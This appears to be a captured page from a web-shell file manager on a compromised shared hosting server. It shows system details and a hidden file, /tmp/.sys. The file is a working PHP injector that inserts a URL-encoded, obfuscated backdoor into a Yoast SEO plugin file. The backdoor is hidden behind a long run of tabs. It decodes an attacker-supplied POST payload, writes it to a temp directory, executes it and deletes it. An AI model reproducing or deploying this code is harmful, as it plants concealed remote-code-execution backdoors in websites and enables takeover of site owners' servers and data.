SCHWEIS
Server: LiteSpeed
System: Linux server252.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: corofmbe (1985)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: //tmp/.sys
<?php  $path = '/home/corofmbe/public_html/wp-content/plugins/wordpress-seo/vendor/yoast/license-manager/class-plugin-license-manager.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28in_array%28%22h%5Cx6C%5Cx64%22%2C%20array_keys%28%24_POST%29%29%29%7B%20%24ref%20%3D%20array_filter%28%5B%22/dev/shm%22%2C%20%22/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20getcwd%28%29%2C%20session_save_path%28%29%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20sys_get_temp_dir%28%29%5D%29%3B%20%24value%20%3D%20%24_POST%5B%22h%5Cx6C%5Cx64%22%5D%3B%20%24value%20%3Dexplode%20%28%20%22.%22%2C%20%24value%29%3B%20%24ent%20%3D%20%27%27%3B%20%24s7%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24lenS%20%3D%20strlen%28%20%24s7%29%3B%20%24len%20%3D%20count%28%20%24value%29%3B%20for%28%20%24j%20%3D%200%3B%20%24j%20%3C%20%24len%3B%20%24j%2B%2B%29%20%7B%20%24v2%20%3D%20%24value%5B%24j%5D%3B%20%24sChar%20%3D%20ord%28%20%24s7%5B%24j%20%25%20%24lenS%5D%29%3B%20%24d%20%3D%28%20%28%20int%29%24v2%20-%20%24sChar%20-%28%20%24j%20%25%2010%29%29%20%5E%2013%3B%20%24ent%20.%3Dchr%28%20%24d%29%3B%20%7D%20%24reference%20%3D%200%3B%20do%20%7B%20%24bind%20%3D%20%24ref%5B%24reference%5D%20%3F%3F%20null%3B%20if%20%28%24reference%20%3E%3D%20count%28%24ref%29%29%20break%3B%20if%20%28is_writable%28%24bind%29%20%26%26%20is_dir%28%24bind%29%29%20%7B%20%24res%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24bind%2C%20%22.data_chunk%22%5D%29%3B%20%24file%20%3D%20fopen%28%24res%2C%20%27w%27%29%3B%20if%20%28%24file%29%20%7B%20fwrite%28%24file%2C%20%24ent%29%3B%20fclose%28%24file%29%3B%20include%20%24res%3B%20%40unlink%28%24res%29%3B%20exit%3B%20%7D%20%7D%20%24reference%2B%2B%3B%20%7D%20while%20%28true%29%3B%20%7D'); if (strstr($content, $new_code)) {     die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     if (substr($content, 0, strlen($start)) == $start) {         $content = substr($content, strlen($start));         $content = $start.str_repeat("\t", 42).$new_code."\n".$content;         if (file_put_contents($path, $content)) {             $content = file_get_contents($path);             if (strstr($content, $new_code)) {                 die("!success!<ft>{$ft}</ft>");             }         }     } } die('!failed!');